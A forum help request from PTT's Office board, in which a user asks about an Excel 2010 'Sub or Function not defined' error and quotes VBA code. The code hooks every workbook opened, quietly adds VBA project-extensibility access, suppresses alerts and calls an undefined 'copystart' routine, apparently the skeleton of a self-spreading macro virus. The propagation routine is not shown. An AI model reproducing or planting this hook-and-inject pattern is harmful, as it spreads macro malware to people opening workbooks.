→ soyoso: 測試,有可能是copystart這個沒有定義的sub或function 10/01 10:25
軟體:EXCEL
版本:2010
請問EXCEL 2010執行後跳出
編譯錯誤
沒有定義的Sub或Function
相關CODE如下
====================================================
Public WithEvents xx As Application
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
End Sub
====================================================
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub
不知為何該EXCEL在其他電腦開啟時並無類似的錯誤訊息
但於另一台電腦執行時
卻會跳出
編譯錯誤
沒有定義的Sub或Function
請問這該如何解決呢
謝謝...
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 210.243.234.17
※ 文章網址: https://www.ptt.cc/bbs/Office/M.1443664069.A.3D6.html